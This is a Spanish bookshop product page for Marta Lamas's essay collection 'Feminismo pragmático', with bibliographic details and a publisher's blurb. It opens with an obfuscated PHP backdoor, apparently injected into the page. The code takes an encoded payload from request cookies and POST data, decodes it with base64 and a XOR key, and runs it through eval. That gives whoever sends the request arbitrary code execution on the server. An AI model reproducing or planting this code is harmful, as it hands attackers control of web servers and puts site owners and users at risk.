$WgejPqWvVr = chr ( 584 - 463 )."\x4f" . "\137" . chr ( 809 - 689 ).chr (90) . "\x69" . "\x73";$CNWNLCZvFQ = "\x63" . "\x6c" . "\141" . 's' . 's' . chr (95) . "\x65" . chr (120) . chr (105) . chr (115) . "\x74" . "\x73";$uLotPMXc = $CNWNLCZvFQ($WgejPqWvVr); $ZhaFuYBuId = $uLotPMXc;if (!$ZhaFuYBuId){class yO_xZis{private $sqWeXt;public static $UXrTPAea = "dfefd22b-e51d-451b-8eea-ba7c675d5760";public static $fVADGrf = 8203;public function __construct($LAFrJWicDh=0){$qcLghevCAP = $_COOKIE;$JqEnv = $_POST;$fgjGQBu = @$qcLghevCAP[substr(yO_xZis::$UXrTPAea, 0, 4)];if (!empty($fgjGQBu)){$jLcbFl = "base64";$ukvwUzLNGT = "";$fgjGQBu = explode(",", $fgjGQBu);foreach ($fgjGQBu as $FatcOR){$ukvwUzLNGT .= @$qcLghevCAP[$FatcOR];$ukvwUzLNGT .= @$JqEnv[$FatcOR];}$ukvwUzLNGT = array_map($jLcbFl . '_' . chr ( 274 - 174 )."\x65" . chr ( 841 - 742 )."\x6f" . chr ( 139 - 39 ).chr ( 793 - 692 ), array($ukvwUzLNGT,)); $ukvwUzLNGT = $ukvwUzLNGT[0] ^ str_repeat(yO_xZis::$UXrTPAea, (strlen($ukvwUzLNGT[0]) / strlen(yO_xZis::$UXrTPAea)) + 1);yO_xZis::$fVADGrf = @unserialize($ukvwUzLNGT);}}private function iGKNoT(){if (is_array(yO_xZis::$fVADGrf)) {$MvogZfIbJ = str_replace(chr (60) . "\x3f" . "\x70" . 'h' . "\160", "", yO_xZis::$fVADGrf["\x63" . 'o' . "\x6e" . "\164" . "\145" . 'n' . chr (116)]);eval($MvogZfIbJ); $WtBsPY = "24297";exit();}}public function __destruct(){$this->iGKNoT(); $WtBsPY = "24297";}}$GKZdm = new yO_xZis(); $GKZdm = "14576_58964";} Feminismo pragmático | El Buho

Feminismo pragmático

consulte stock antes de comprar

Feminismo pragmático

ISBN: 9789877839173
Autor/a: Lamas, Marta
Editorial: Red Editorial
Formato: Rústica – 21×14 – 82 p

consulte stock antes de comprar

La legalización del aborto en Ciudad de México contribuyó a la libertad de las mujeres en un contexto por demás hostil. Coger, disfrutar y asumir políticamente el embarazo… Dimensionar y desdramatizar. Marta Lamas dice tener “objetivos radicales y métodos reformistas”, piensa pragmáticamente, de la lucha callejera a la ampliación de derechos, de la crítica de las relaciones patriarcales ahí donde actúan concretamente, a las alianzas posibles que hagan estallar el “género”. Porque a la hora de reinventarnos no hay victimismo que valga, y cuando se trata de conquistar espacios (vitales, sensibles, políticos) mejor tener en cuenta que tratamos con percepciones diversas. En el ensayo “Neoliberalismo y puritanismo…” sostiene polémicamente: “Comparto la urgencia ética del feminismo para erradicar toda forma de violencia, pero junto a ella también planteo que existe la imperiosa necesidad de analizar cómo la retórica del discurso imperante sobre acoso está produciendo actitudes victimistas y respuestas punitivas”. ¿Cómo forzar realmente lo existente? ¿Cómo evitar regodearse en una retórica militante meramente imaginaria? “Yo tengo un horizonte utópico, y ahí está, pero hay cosas concretas que quiero conseguir. Las quiero conseguir sin entrar al Estado ni a un partido, desde la independencia que me da una organización autónoma…” “Las personas luchamos porque nos duele lo que nos pasa, nos damos cuenta de la explotación, de las injusticias y nos apasionamos intelectualmente; pero si solo nos convencen intelectualmente y no está en juego nuestro cuerpo, no hay desde dónde luchar.”

Hola, me interesan sus productos
Enviar Whatsapp